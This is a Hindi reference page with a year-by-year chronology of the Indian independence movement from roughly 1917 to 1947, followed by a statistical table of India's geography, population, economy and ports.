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मांटेग्यू भारत-मंत्री नियुक्त तथा इनकी भारत यात्रा। कांग्रेस तथा मुस्लिम लीग की बम्बई में पहली संयुक्त बैठक। 'मांटेग्यू घोषणा'। भारत में स्वायत्तशासी संस्थाओं का क्रमिक विकास तथा उत्तरदायी सरकार की स्थापना। गाँधी जी द्वारा चम्पारन सत्याग्रह आरम्भ। होमरूल आंदोलन के सिलसिले में एनी बेसेन्ट बंदी। शिक्षा से सम्बन्धित सैडलर आयोग की नियुक्ति। रौलट एक्ट कमेटी का गठन।
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521
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1918 ई.
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रौलट एक्ट रिपोर्ट तथा मांटेग्यू-चेम्सफोर्ड रिपोर्ट प्रकाशित। सेनामें अफ़सरों के पद पर नियुक्ति के लिए भारतीय अर्ह घोषित। रासबिहारी बोस की अध्यक्षता में 'बंगीय जनसभा' की स्थापना। सुरेन्द्रनाथ बनर्जी की अध्यक्षता में बम्बई में आल इंडिया मॉडरेट कांफ्रेंस आयोजित। गाँधी जी के द्वारा अहमदाबाद कपड़ा मजदूरों की मांग के समर्थन में सत्याग्रह के रूप में पहली बार भूख हड़ताल का प्रयोग किया गया। सुरेन्द्रनाथ बनर्जी नेशनल लिबरल लीग के अध्यक्ष निर्वाचित।
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522
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1919 ई.
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मांटेग्यू-चेम्सफोर्ड सुधार पारित। रौलट एक्ट पारित। जलियांवाला बाग़ नरसंहार। ख़िलाफत कमेटी की स्थापना। रवीन्द्रनाथ ठाकुर द्वारा सर की उपाधि वापस। बम्बई में मिल मजदूरों का पहला सम्मेलन। एनी बेसेन्ट की अध्यक्षता में दिल्ली में पहला अखिल भारतीय महिला सम्मेलन आयोजित। इलाहाबाद में 'लीडर समाचार पत्र' के कार्यालय में 'उत्तर प्रदेश लिबरेशन एसोसिएशन' की स्थापना। तृतीय अफ़ग़ान युद्ध। भारतीय सरकार अधिनियम 1919 पारित।
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523
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1920 ई.
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ख़िलाफ़त तथा असहयोग आंदोलन आरम्भ। गाँधी जी द्वारा बोअर युद्ध में मिला 'केसर-ए-हिन्द' पदक सरकार को वापस। लॉर्ड सिन्हा बिहार-उड़ीसा के गवर्नर। कांग्रेस का नेतृत्व गांधीजी के हाथ में। 'अखिल भारतीय ट्रेड यूनियन कांग्रेस' की स्थापना। अलीगढ़ मुस्लिम विश्वविद्यालय की स्थापना। तिलक की मृत्यु। हण्टर समिति की रिपोर्ट प्रकाशित।
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524
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1921–1926 ई.
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लॉर्ड रीडिंग का वायसराय काल।
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525
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1921 ई.
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प्रिंस आफ़ वेल्स एडवर्ड की भारत यात्रा। 'चेम्बर आफ़ प्रिंसेस' की स्थापना। विजयवाड़ा अखिल भारतीय कांग्रेस कमेटी सम्मेलन में तिलक स्वराज कोष के लिए एक करोड़ रुपये एकत्रित करने का निर्णय (1 अप्रैल)। दिल्ली अखिल भारतीय कांग्रेस कमेटी में गाँधी जी का सविनय अवज्ञा आंदोलन प्रस्ताप पारित (4 नवम्बर)। मोपला विद्रोह (20 नवम्बर)। गुरुद्वारा सुधार आंदोलन, बोलपुर ([[पश्चिम बंगाल]) में 'विश्वभारती शान्ति निकेतन विश्वविद्यालय' की स्थापना। हड़प्पा में उत्खनन प्रारम्भ। भारत सरकार अधिनियम 1919 लागू।
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526
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1922 ई.
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कलकत्ता में सविनय अवज्ञा आंदोलन आरम्भ (15 जून)। चौरी-चौरा कांड (5 फ़रवरी)। बारदोली में कांग्रेस कार्यसमिति द्वारा सविनय अवज्ञा आंदोलन स्थगित करने का निर्णय (12 फ़रवरी)। कांग्रेस द्वारा सामूहिक सविनय अवज्ञा आंदोलन स्थगित (31 दिसम्बर)। मोतीलाल नेहरू तथा चितरंजन दास द्वारा 'स्वराज पार्टी' की स्थापना। मांटेग्यू का इस्तीफ़ा।
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527
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1923 ई.
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मदन मोहन मालवीय द्वारा 'इंडियन पार्टी' की स्थापना। बम्बई में कपड़ा मजदूरों की 'गिरनी कामग़ार यूनियन' स्थापित। 'हिन्दुस्तान रिपब्लिकन एसोसिएसन' की स्थापना। नमक-कर क़ानून पारित। सेना की कुछ बटालियनों की क़मान का भारतीयकरण। प्रफुल्ल चन्द्र द्वारा अहमदाबाद में गुजरात विद्यापीठ की आधारशिला, कमाल पाशा द्वारा तुर्की को धर्मनिरपेक्ष राज्य घोषित करने से ख़िलाफ़त आंदोलन स्वतः समाप्त। स्वराजियों का परिषदों में प्रवेश।
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528
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1924 ई.
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कानपुर कॉन्सिपिरेसी केस। गाँधी जी पहली बार एवं अन्तिम बार कांग्रेस अध्यक्ष (बेलगाँव)।
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529
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1925 ई.
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अखिल भारतीय दलित वर्ग एसोसिएशन की स्थापना। अंतरविद्यालय बोर्ड गठित। अखिल भारतीय कांग्रेस कमेटी की कार्यवाहियों के लिए हिन्दुस्तानी भाषा की स्वीकृति (26 दिसम्बर)। सिख गुरुद्वारा पारित। चितरंजन दास का निधन। विट्ठलभाई पटेल विधानसभा में प्रथम भारतीय अध्यक्ष नियुक्त। शान्ति निकेतन में गाँधी जी तथा रवीन्द्रनाथ ठाकुर में सामाजिक समस्याओं पर बातचीत (30 मई)। लॉर्ड लिटन द्वितीय स्थानापन्न वायसराय।
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530
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1926–31 ई.
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लॉर्ड इरविन वायसराय।
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531
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1926 ई.
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ट्रेड यूनियन एक्ट पारित। रुपये का अवमूल्यन। दिल्ली में 'आल इंडिया प्रोहिबेशन लीग' (अखिल भारतीय नशाबन्दी लीग) की स्थापना (31 जनवरी)। अखिल भारतीय कांग्रेस कमेटी द्वारा स्वराज पार्टी के सदस्यों को केन्द्रीय विधानसभा से त्यागपत्र देने का प्रस्ताव पारित (6 मार्च)। गाँधी जी द्वारा गुवाहाटी अधिवेशन में स्वाधीनता प्रस्ताव का विरोध (26 दिसम्बर)।
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532
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1927 ई.
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साइमन कमीशन की नियुक्ति। भारतीय नौसेना अधिनियम। कांग्रेस के मद्रास अधिवेशन में स्वतंत्रता के लक्ष्य की घोषणा। पूना में बड़ौदा की महारानी की अध्यक्षता में 'अखिल भारतीय सम्मेलन' आयोजित (5 जून)। इलाहाबाद में पंडित मदन मोहन मालवीय की अध्यक्षता में आयोजित सर्वदलीय सम्मेलन द्वारा साइमन कमीशन का बहिष्कार करने का निर्णय (11 दिसम्बर)। मुस्लिम लीग का विभाजन (29 दिसम्बर)।
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533
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1928 ई.
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डॉ. अंसारी की अध्यक्षता में सर्वदलीय बहिष्कार सम्मेलन बनारस में आयोजित। साइमन कमीशन के भारत आगमन पर 3 फ़रवरी को हड़ताल का आह्वान (15 जनवरी)। साइमन कमीशन भारत में आया (3 फ़रवरी)। नेहरू रिपोर्ट, हिन्दुस्तान रिपब्लिकन की विभिन्न शाखाओं को संगठित कर 'हिन्दुस्तान सोशलिस्ट रिपब्लिक' की स्थापना (8-9 दिसम्बर) (इसका निर्णय सुखदेव, शिववर्मा, फणीन्द्रनाथ बोस, भगत सिंह, विजय कुमार सिन्हा तथा कुंदनलाल विद्यार्थी द्वारा फ़िरोज़शाह कोटला स्टेडियम, दिल्ली में एक गुप्त बैठक में लिया गया। चन्द्रशेखर आज़ाद बैठक में नहीं थे, परन्तु उन्हें एसोसिएशन के सशस्त्र विभाग का प्रधान नियुक्त किया गया।) साइमन कमीशन का विरोध करते समय पुलिस लाठीचार्ज में लाला लाजपत राय घायल (17 नवम्बर)। कलकत्ता में जवाहर लाल नेहरू की अध्यक्षता में 'अखिल भारतीय समाजवादी युवा कांगेस' का पहला सम्मेलन (27 दिसम्बर)। कांग्रेस अधिवेशन में गांधीजी की घोषणा—"यदि आप मेरे साथ सहयोग करें और ईमानदारी तथा बुद्धिमता से काम करें तो साल भर में स्वराज मिल जाएगा" (31 दिसम्बर)। कांग्रेस अधिवेशन में डोमिनियन स्टेट्स के पक्ष में प्रस्ताव पारित तथा सुभाषचन्द्र बोस का पूर्ण स्वाधीनता प्रस्ताव अस्वीकृत। 'इंडिपेन्डेंस लीग' की स्थापना। कृषि के लिए शाही आयोग की नियुक्ति।
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534
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1929 ई.
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इलाहाबाद में अबुलकलाम आज़ाद की अध्यक्षता में 'अखिल भारतीय मुस्लिम सोशलिस्ट पार्टी' की स्थापना (इससे पहले राष्ट्रवादी मुसलमान नेता सैय्यद अहमद बरेलवी तथा युसूफ़ मुहर अली द्वारा 'कांगेस मुस्लिम पार्टी की स्थापना) (27-28 जुलाई)। केन्द्रीय असेम्बली में भगतसिंह व बटुकेश्वर दत्त द्वारा बम फेंका गया (8 अप्रैल)। कृषि शोध परिषद् का गठन। मेरठ षड़यंत्र के अभियुक्तों पर मुकदमा आरम्भ। लाहौर षड़यंत्र के अभियुक्त जतिन दास की 64 दिनों की भूख हड़ताल के बाद मृत्यु। 166 दिन की भूख हड़ताल के बाद रंगून जेल में फूंजी विजाजा की मृत्यु। लॉर्ड इरविन की घोषणा। भारत का संवैधानिक प्रगति का लक्ष्य औपचारिक राज्य की स्थापना (31 अक्टूबर)। लाहौर में कांगेस के 44वें अधिवेशन में जवाहर लाल नेहरू की अध्यक्षता में स्वराज्य का प्रस्ताव पारित (29 दिसम्बर)। 31 दिसम्बर की मध्यरात्रि के समय पंडित जवाहरलाल नेहरू ने रावी तट पर तिरंगा फहराया।
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535
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1930 ई.
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जवाहर लाल नेहरू द्वारा 26 जनवरी को स्वाधीनता दिवस के रूप में मनाने का आह्वान (7 जनवरी)। हिन्दुस्तान रिपब्लिकन सोसायटी द्वारा 'बम का दर्शन' नामक पर्ची प्रकाशित (2 फ़रवरी)। अखिल भारतीय कांग्रेस पार्टी द्वारा सविनय अवज्ञा आंदोलन (नमक) का कार्यक्रम स्वीकृत (19 फ़रवरी)। डांडी यात्रा आरम्भ (12 मार्च)। नमक क़ानून तोड़ा गया (6 अप्रैल)। 28 मार्च को 'आनन्द भवन' देश को समर्पित तथा 11 अप्रैल को 'स्वराज भवन' के रूप में नामकरण। सुभाषचन्द्र बोस कलकत्ता नगर निगम के मेयर निर्वाचित (22 अगस्त)। सी. वी. रमन को भौतिकी का नोबेल पुरस्कार (14 नवम्बर)। प्रथम गोलमेज सम्मेलन लन्दन में। कांग्रेस कार्यसमिति ग़ैरक़ानूनी घोषित (25 अगस्त)।
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536
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1931–1936 ई.
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वायसराय लॉर्ड विलिंगटन का वायसराय काल।
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537
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1931 ई.
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कांग्रेस कार्यसमिति पर से प्रतिबंध हटा (26 जनवरी)। लखनऊ में मोतीलाल नेहरू का निधन (5 फ़रवरी)। इलाहाबाद में पुलिस मुठभेड़ में चन्द्रशेखर आज़ाद की मृत्यु (27 फ़रवरी)। गांधी-इरविन समझौता (मार्च)। लाहौर में रावी तट पर भगत सिंह, राजगुरु तथा सुखदेव को फाँसी (23 मार्च)। शोक स्वरूप गाँधी जी को कराची अधिवेशन में युवा क्रान्तिकारियों द्वारा काले फूल भेंट (31 मार्च)। बम्बई कांग्रेस हाउस में सरोजिनी नायडू द्वारा राष्ट्रीय झंडा दिवस का उदघाटन (26 अप्रैल)। कांग्रेस कार्यसमिति की ओर से गांधीजी को गोलमेज सम्मेलन में कांग्रेस का प्रतिनिधि नियुक्त किया गया (10 जून)। गांधीजी द्वारा प्रस्तावित चरखा युक्त झंडा राष्ट्रीय कांग्रेस का ध्वज बना (1 अगस्त)। संयुक्त प्रान्त में लगान-रोको आंदोलन (11 दिसम्बर)। रॉयल लेबर कमीशन की रिपोर्ट प्रकाशित।
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538
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1932 ई.
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सरकार द्वारा प्रस्तावित संवैधानिक शासन सुधारों पर श्वेतपत्र प्रकाशित। मेरठ षड़यंत्र केस के 27 अभियुक्तों को सज़ा (16 जनवरी)। गाँधी जी द्वारा व्यक्तिगत सत्याग्रह आरम्भ (26 जून)। एनी बेसेन्ट का देहान्त (20 सितम्बर)। पहली बार 'पाकिस्तान' शब्द का प्रयोग। गांधीजी द्वारा साप्ताहिक 'हरिजन' की शुरुआत। रैम्जे मैक्डोनल्ड द्वारा 16 अगस्त को साम्प्रदायिक निर्णय की घोषणा। 24 सितम्बर को गांधीजी और अम्बेडकर के मध्य पूना समझौता सम्पन्न।
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539
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1934 ई.
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सविनय अवज्ञा आंदोलन वापस। पटना में आचार्य नरेन्द्रदेव की अध्यक्षता में 'कांग्रेस समाजवादी पार्टी' के गठन की घोषणा (17 मई)। कांग्रेस चुनाव घोषणा पत्र प्रकाशित (14 जून)। गाँधी जी कुछ समय के लिए कांग्रेस से अलग (17 सितम्बर)। बम्बई में सम्पूर्णानन्द की अध्यक्षता में 'अखिल भारतीय कांग्रेस सोशलिस्ट पार्टी' का औपचारिक उदघाटन (21 अक्टूबर)। उत्तरी भारत में भारी भूकम्प। बिहार में भीषण तबाही।
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540
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1935 ई.
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भारत सरकार अधिनियम 1935 पारित (अगस्त)। भारत-ब्रिटेन व्यापार समझौता। गाँधी जी के साथी तथा सत्याग्रह आंदोलन में जेल जाने वाले प्रथम व्यक्ति मोहन लाल पाण्ड्या का निधन (18 मई)। गाँधीजी द्वारा मीरा बेन के लिए वर्धा के पास सेवा गाँव के आश्रम (सेवाश्रम) की स्थापना (22 अक्टूबर)।
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541
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1936–44 ई.
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लॉर्ड लिनलिथगो का वायसराय काल।
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542
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1936 ई.
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सम्राट जॉर्ज पंचम का निधन (21 जनवरी)। जॉर्ज षष्टम सम्राट बने। अखिल भारतीय कांग्रेस कमेटी अधिवेशन में कांग्रेस कार्रवाई की भाषा हिन्दी बनाए जाने सम्बन्धी प्रस्ताव अस्वीकृत (23 अगस्त)।
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543
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1937 ई.
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संघीय न्यायालय की स्थापना। प्रान्तीय स्वशासन का उदघाटन (अप्रैल)। 11 में से 7 प्रान्तों में कांग्रेस मंत्रिमण्डल गठित। मध्य प्रान्त में डॉ. एन. जी. खरे द्वारा देश का पहला मंत्रिमण्डल गठित (9 जून)। केन्द्रीय विधानसभी में चिंतामणि देशमुख द्वारा प्रस्तुत पति की सम्पत्ति में विधवाओं को उत्तराधिकार दिलाने वाला विधेयक पारित (5 फ़रवरी)। गाँधी जी के नेतृत्व में अखिल भारतीय शिक्षा कांफ़्रेंस द्वारा नई शिक्षा नीति का नियोजन।
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544
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1938 ई.
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सुभाषचन्द्र बोस कांग्रेस के अध्यक्ष निर्वाचित। बी. डी. सावरकर हिन्दू महासभा के अध्यक्ष निर्वाचित। शरतचन्द्र चटर्जी तथा मोहम्मद इक़बाल की मृत्यु।
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545
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1939 ई.
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त्रिपुरा अधिवेशन में सुभाषचन्द्र बोस कांग्रेस के अध्यक्ष पद पर दुबारा निर्वाचित तथा बाद में त्यागपत्र (28 अप्रैल)। बोस द्वारा 'फारवर्ड ब्लाक' की स्थापना (3 मई)। द्वितीय विश्वयुद्ध आरम्भ (3 सितम्बर)। विश्वयुद्ध में भारत को बिना इजाज़त शामिल करने के विरोधस्वरूप प्रान्तीय कांग्रेस मंत्रिमण्डलों का त्यागपत्र। जिन्ना द्वारा कांग्रेस शासन से मुक्ति के लिए 22 दिसम्बर को 'मुक्ति दिवस' के रूप में मनाने का आह्वान (8 अक्टूबर)।
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546
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1940 ई.
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मौलान अबुलकलाम आज़ाद कांग्रेस अध्यक्ष। मुस्लिम लीग के लाहौर अधिवेशन में जिन्ना द्वारा मुसलमानों के लिए पृथक देश की मांग (22 मार्च)। कांग्रेस कार्यसमिति द्वारा गाँधी जी का व्यक्तिगत सत्याग्रह स्वीकृत (13 अक्टूबर)। विनोबा भावे पहले व्यक्तिगत सत्याग्रही।
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547
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1941 ई.
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जापान द्वारा युद्ध की घोषणा। जिन्ना द्वारा पाकिस्तान की परिकल्पना पर कांग्रेस की स्वीकृति की मांग (17 अप्रैल)। सुभाषचन्द्र बोस नज़रबन्दी से भागकर कलकत्ता से जर्मनी पहुँचे।
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548
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1942 ई.
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बर्मा में अंग्रेज़ों का आत्मसमर्पण। अखिल भारतीय कांग्रेस कमेटी के बम्बई अधिवेशन में 'अंग्रेज़ों, भारत छोड़ो' प्रस्ताव पारित तथा देशव्यापी आंदोलन शुरू (8 अगस्त)।
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549
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1943 ई.
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मुस्लिम लीग ने अपने कराची अधिवेशन में 'डिवाइड एंड क्किट' (बाँटों और छोड़ो) स्लोगन को पारित किया।
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550
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1944–47 ई.
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लॉर्ड वेवेल का वायसराय काल।
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551
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1944 ई.
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असम पर जापानी आक्रमण। लाहौर में प्रमुख अकाली नेता शेरसिंह की घोषणा कि देश विभाजन या पाकिस्तान की मांग को स्वीकृति दी गई तो सिख भी अलग स्वतंत्र राष्ट्र की मांग करेंगे (1 सितम्बर)। सी. राजगोपालाचारी के सुझावों पर संवैधानिक अड़चन के लिए गांधीजी-जिन्ना वार्ता (9 सितम्बर)। आज़ाद हिन्द फ़ौज भारत के निकट पहुँची।
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552
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1945 ई.
|
ब्रिटेन में लेबर पार्टी की सरकार। द्वितीय विश्वयुद्ध की समाप्ति। लॉर्ड वेवेल की घोषणा। आज़ाद हिन्द फ़ौज का आत्मसमर्पण तथा उन पर पहली बार मुकदमा।
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553
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1946 ई.
|
कैबिनेट मिशन भारत में। नौसेना विद्रोह (18 फ़रवरी)। मुस्लिम लीग ने 16 अगस्त को 'सीधी कार्रवाई' दिवस मनाया। अंतरिम सरकार का गठन (2 सितम्बर)। जवाहर लाल नेहरू प्रधानमंत्री नियुक्त। मुस्लिम लीग अंतरिम सरकार में शामिल (26 अक्टूबर)। संविधान सभा की पहली बैठक (दिसम्बर)। कैबिनेट मिशन योजना की घोषणा (16 जून)।
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554
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1947–48 ई.
|
लॉर्ड माउण्टबेटन का वायसराय काल (24 मार्च से)।
|
555
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1947 ई.
|
ब्रिटिश संसद में प्रधानमंत्री क्लीमेंट रिचर्ड हेडली द्वारा जून, 1948 तक अंग्रेज़ों के भारत छोड़ने के निर्णय की घोषणा (20 फ़रवरी)। माउण्ट बेटन द्वारा जून, 1948 के स्थान पर 15 अगस्त, 1947 को सत्ता हस्तांतरण करने का निर्णय (3 जून)। अखिल भारतीय कांग्रेस समिति द्वारा विभाजन प्रस्ताव पारित (15 जून)। ब्रिटिश संसद में भारत-पाकिस्तान विभाजन पारित तथा 15 अगस्त, 1947 को सत्ता हस्तांतरण सम्बन्धी 'भारतीय स्वाधीनता अधिनियम' 4 जुलाई, 1947 को संसद में पेश किया गया। भारतीय स्वाधीनता अधिनियम को ब्रिटिश सम्प्रभु (सम्राट) की स्वीकृति (18 जुलाई)। 14 अगस्त को पाकिस्तान बना तथा 15 अगस्त को भारत स्वाधीन। जवाहरलाल नेहरू प्रधानमंत्री तथा लॉर्ड माउण्टबेटन गवर्नर-जनरल बने।
|
भौतिक विशेषताएँ
आँकड़े एक झलक
क्षेत्रफल
|
32,87,263 वर्ग किमी.[9]
|
-भूमध्य रेखा से दूरी [10]
|
876 किमी
|
-पूर्व से पश्चिम लंबाई
|
2,933 किमी
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-उत्तर से दक्षिण लंबाई
|
3,214 किमी
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-प्रादेशिक जलसीमा की चौड़ाई
|
समुद्र तट से 12 समुद्री मील तक।
|
-एकान्तिक आर्थिक क्षेत्र
|
संलग्न क्षेत्र से आगे 200 समुद्री मील तक।
|
|
सीमा
|
7 देश और 2 महासागर[11]
|
-समुद्री सीमा[12]
|
7516.5 किमी
|
-प्राकृतिक भाग
|
(1) उत्तर का पर्वतीय प्रदेश (2) उत्तर का विशाल मैदान (3) दक्षिण का प्रायद्वीपीय पठार (4) समुद्र तटीय मैदान तथा (5) थार मरुस्थल
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-स्थलीय सीमा[13]
|
15,200 किमी
|
|
राज्य
|
29
|
-संघशासित क्षेत्र[14]
|
7
|
-ज़िलों की संख्या
|
593
|
-उपज़िलों की संख्या
|
5,470
|
-सबसे बड़ा ज़िला
|
लद्दाख (जम्मू-कश्मीर, क्षेत्रफल 82,665 वर्ग किमी.)।
|
-सबसे छोटा ज़िला
|
थौबॅल (मणिपुर, क्षेत्रफल- 507 वर्ग किमी.)।
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-द्वीपों की कुल संख्या
|
247 [15]
|
-तटरेखा से लगे राज्य
|
गुजरात, महाराष्ट्र, गोवा, कर्नाटक, केरल, तमिलनाडु, आंध्र प्रदेश, उड़ीसा और पश्चिम बंगाल।
|
-केन्द्रशासित प्रदेश (तटरेखा)
|
दमन व दीव, दादरा एवं नगर हवेली, लक्षद्वीप, पांडिचेरी तथा अंडमान एवं निकोबार द्वीप समूह।
|
-कर्क रेखा [16]
|
गुजरात, राजस्थान, मध्यप्रदेश, छत्तीसगढ़, झारखंड, पश्चिम बंगाल, त्रिपुरा तथा मिज़ोरम।
|
-प्रमुख नगर
|
मुम्बई, नई दिल्ली, कोलकाता, चेन्नई, बेंगलोर, हैदराबाद, तिरुअनन्तपुरम, सिकन्दराबाद, कानपुर, अहमदाबाद, जयपुर, जोधपुर, अमृतसर, चण्डीगढ़, श्रीनगर, जम्मू, शिमला, दिसपुर, इटानगर, कोचीन, आगरा आदि।
|
-राजधानी
|
नई दिल्ली।
|
-पर्वतीय पर्यटन
|
अल्मोड़ा, नैनीताल, लैन्सडाउन, गढ़मुक्तेश्वर, मसूरी, कसौली, शिमला, कुल्लू घाटी, डलहौज़ी, श्रीनगर, गुलबर्ग, सोनमर्ग, अमरनाथ, पहलगाम, दार्जिलिंग, कालिंपोंग, राँची, शिलांग, कुंजुर, ऊटकमंड (ऊटी), महाबलेश्वर, पंचमढ़ी, माउण्ट आबू।
|
-प्रथम श्रेणी के नगरों की संख्या
|
300
|
-द्वितीय श्रेणी के नगरों की संख्या
|
345
|
-तृतीय श्रेणी के नगरों की संख्या
|
947
|
-चतुर्थ श्रेणी के नगरों की संख्या
|
1,167
|
-पंचम श्रेणी के नगरों की संख्या
|
740
|
-षष्ठम श्रेणी के नगरों की संख्या
|
197
|
-कुल नगरों की संख्या
|
5,161
|
-सर्वाधिक नगरों वाला राज्य
|
उत्तर प्रदेश (704 नगर)
|
-सबसे कम नगर वाला राज्य
|
मेघालय (7 नगर)
|
-सर्वाधिक नगरीय जनसंख्या वाला राज्य
|
उत्तर प्रदेश (3,45,39,582), मिज़ोरम (45.10%)
|
-सबसे कम नगरीय जनसंख्या वाला राज्य
|
सिक्किम (59,870), हिमाचल प्रदेश (8.69%)
|
-संघशासित क्षेत्र सर्वाधिक जनसंख्या[17]
|
दिल्ली 89.93%
|
-संघ शासित क्षेत्र कम जनसंख्या [18]
|
दादरा तथा नगर हवेली (8.47%)
|
-संघशासित क्षेत्र (सबसे बड़ा)[19]
|
अंडमान एवं निकोबार द्वीपसमूह (8,293 वर्ग किमी.)
|
-सबसे छोटा संघ शासित क्षेत्र
|
लक्षद्वीप (32 वर्ग किमी.)
|
-शहरों की संख्या
|
5,161
|
-गांवों की संख्या
|
6,38,588
|
-आबाद गांवों की संख्या
|
5,93,732
|
-ग़ैर-आबाद गांवों की संख्या
|
44,856
|
-सामुद्रिक मत्स्ययन का प्रमुख क्षेत्र
|
पश्चिमी तट (75% तथा पूर्वी तट (25%) [20]
|
-सबसे बड़ा राज्य (क्षेत्रफल)
|
राजस्थान (3,42,239 वर्ग किमी.)
|
-सबसे छोटा राज्य
|
गोवा (3,702 वर्ग किमी.)
|
|
भूगोल
|
-प्रमुख पर्वत
|
हिमालय, कराकोरम, शिवालिक, अरावली, पश्चिमी घाट, पूर्वी घाट, विन्ध्याचल, सतपुड़ा, अन्नामलाई, नीलगिरि, पालनी, नल्लामाला, मैकल, इलायची।
|
-प्रमुख नदियाँ
|
सिन्धु, सतलज, ब्रह्मपुत्र, गंगा, यमुना, गोदावरी, दामोदर, नर्मदा, ताप्ती, कृष्णा, कावेरी, महानदी, घाघरा, गोमती, रामगंगा, चम्बल आदि।
|
-पर्वत शिखर
|
गाडविन आस्टिन या माउण्ट के 2 (8,611 मी.), कंचनजंघा (8,598 मी.), नंगा पर्वत (8,126 मी.), नंदादेवी (7,717 मी.), कामेत (7,756 मी.), मकालू (8,078 मी.), अन्नपूर्णा (8,078 मी.), मनसालू (8,156 मी.), बद्रीनाथ, केदारनाथ, त्रिशूल, माना, गंगोत्री, गुरुशिखर, महेन्द्रगिरि, अनाईमुडी आदि।
|
-झील
|
डल, वुलर, नैनी, सातताल, नागिन, सांभर, डीडवाना, चिल्का, हुसैन सागर, वेम्बानद आदि।
|
-जलवायु
|
मानसूनी
|
-वनक्षेत्र
|
750 लाख हेक्टेयर [21]
|
-प्रमुख मिट्टियाँ
|
जलोढ़, काली, लाल, पीली, लैटेराइट, मरुस्थलीय, पर्वतीय, नमकीन एवं पीट तथा दलदली।
|
-सिंचाई [22]
|
नहरें (40.0%) कुएँ (37.8%), तालाब (14.5%) तथा अन्य (7.7%)।
|
-कृषि के प्रकार
|
तर खेती [23], आर्द्र खेती [24], झूम कृषि [25] तथा पर्वतीय कृषि [26]।
|
-खाद्यान्न फ़सलें
|
चावल, गेहूँ, ज्वार, बाजरा, रागी, जौ आदि।
|
-नक़दी फ़सलें
|
गन्ना, चाय, काफ़ी, रबड़, नारियल, फल एवं सब्जियाँ, दालें, तम्बाकू, कपास तथा तिलहनी फ़सलें।
|
-खनिज संसाधन
|
लौह अयस्क, कोयला, मैंगनीज, अभ्रक, बॉक्साइट, चूनापत्थर, यूरेनियम, सोना, चाँदी, हीरा, खनिज तेल आदि।
|
|
जनसंख्या
|
1,028,610,328 (2001) [27]
|
-पुरुष जनसंख्या
|
53,21,56,772
|
-महिला जनसंख्या
|
49,64,53,556
|
-अनुसूचित जाति [28]
|
16,66,35,700 (कुल जनसंख्या का 16.2%)
|
-अनुसूचित जनजाति [29]
|
8,43,26,240 (कुल जनसंख्या का 8.2%)
|
-प्रमुख जनजातियाँ
|
गद्दी, गुज्जर, थारू, भोटिया, मिपुरी, रियाना, लेप्चा, मीणा, भील, गरासिया, कोली, महादेवी, कोंकना, संथाल, मुंडा, उराँव, बैगा, कोया, गोंड आदि।
|
-विश्व में स्थान (जनसंख्या)
|
दूसरा
|
-विश्व जनसंख्या का प्रतिशत
|
16.87%
|
-जनसंख्या घनत्व
|
324 व्यक्ति प्रति वर्ग किमी
|
-जनसंख्या वृद्धि दर (दशक)
|
21.54% (1991-2001)
|
-औसत वृद्धि दर [30]
|
1.95%
|
-लिंगानुपात ♀/♂
|
933 : 1000
|
-राज भाषा
|
हिन्दी [31]
|
-प्रति व्यक्ति आय
|
27,786 रु0 (2007-08)
|
|
अर्थव्यवस्था
|
-निर्यात की वस्तुएँ
|
इंजीनियरी उपकरण, मसाले, तम्बाकू, चमड़े का सामान, चाय, लौह अयस्क आदि।
|
-आयात की वस्तुएँ
|
रसायन, मशीनरी, उपकरण, उर्वरक, खनिज तेल आदि।
|
-व्यापार सहयोगी
|
संयुक्त राज्य अमेरिका, ब्रिटेन, नये राष्ट्रों के राष्ट्रकुल (सी.आई.एस.) के देश, जापान, इटली, जर्मनी, पूर्वी यूरोपीय देश।
|
-राष्ट्रीयकृत बैंकों की संख्या
|
20
|
-तेलशोधनशालाओं की संख्या
|
13
|
-कुल उद्यमों की संख्या
|
4,212 करोड़ (कृषि में संलग्न उद्यमों के अतिरिक्त)
|
-उद्यम (ग्रामीण क्षेत्र)
|
2,581 करोड़ (कृषि में संलग्न उद्यमों के अतिरिक्त)
|
-उद्यम (शहरी क्षेत्र)
|
1,631 करोड़ (38.7%)।
|
-कृषि कार्य का प्रतिशत [32]
|
15%
|
-गैर-कृषि कार्य का प्रतिशत [33]
|
85%
|
-उद्यम (10 या अधिक कामगार)
|
5.83 लाख [34]
|
-सर्वाधिक उद्यम (पांच राज्य)
|
तमिलनाडु-4446999 (10.56%), महाराष्ट्र- 4374764 (10.39%), पश्चिम बंगाल- 4285688 (10.17%), आंध्र प्रदेश- 4023411 (9.55%), उत्तर प्रदेश- 4015926 (9.53%)।
|
-सर्वाधिक उद्यम (केन्द्र शासित)
|
दिल्ली-753795(1.79%), चंडीगढ़- 65906 (0.16%), पाण्डिचेरी-49915 (0.12%)।
|
-प्रमुख उद्योग
|
लौह-इस्पात, जलयान निर्माण, मोटर वाहन, साइकिल, सूतीवस्त्र, ऊनी वस्त्र, रेशमी वस्त्र, वायुयान, उर्वरक, दवाएं एवं औषधियां, रेलवे इंजन, रेल के डिब्बे, जूट, काग़ज़, चीनी, सीमेण्ट, मत्स्ययन, चमड़ा उद्योग, शीशा, भारी एवं हल्के रासायनिक उद्योग तथा रबड़ उद्योग।
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-बड़े बन्दरगाहों की संख्या
|
12 बड़े एवं 139 छोटे बंदरगाह।
|
-प्रमुख बन्दरगाह
|
मुम्बई, न्हावा शेवा, कलकत्ता, हल्दिया, गोवा, कोचीन, कांडला, चेन्नई, न्यू मंगलोर, तूतीकोरिन, विशाखापटनम, मझगाँव, अलेप्पी, भटकल, भावनगर, कालीकट, काकीनाडा, कुडलूर, धनुषकोडि, पाराद्वीप, गोपालपुर।
|
-पश्चिमी तट प्रमुख बंदरगाह
|
कांडला, मुंबई, मार्मुगाओं, न्यू मंगलौर, कोचीन और जवाहरलाल नेहरू
|
-पूर्वी तट के प्रमुख बंदरगाह
|
तूतीकोरिन, चेन्नई, विशाखापत्तनम, पारादीप और कोलकाता- हल्दिया।
|
-पुराना बंदरगाह (पूर्वी तट)
|
चेन्नई
|
-सबसे गहरा बंदरगाह
|
विशाखापत्तनम
|
-कार्यशील व्यक्तियों की संख्या
|
31.5 करोड़, मुख्य श्रमिक- 28.5 करोड़, सीमान्त श्रमिक- 3,0 करोड़
|
-ताजे जल की मछलियाँ
|
सॉ-फिश, लाइवफिश, फैदरबैंक, एंकावी, ईल, बाटा, रेवा, तोर, चिताला, कटला, मिंगाल, मिल्कफिश, कार्प, पर्लशाट आदि।
|
|
परिवहन
|
-जल परिवहन
|
कोलकाता (केन्द्रीय अन्तर्देशीय जल परिवहन निगम का मुख्यालय)
|
-सड़क मार्ग की कुल लम्बाई
|
33,19,664 किमी.
|
-राष्ट्रीय राजमार्गों की संख्या
|
संख्यानुसार 109 जबकि कुल 143 (लगभग 19 निर्माणाधीन)।
|
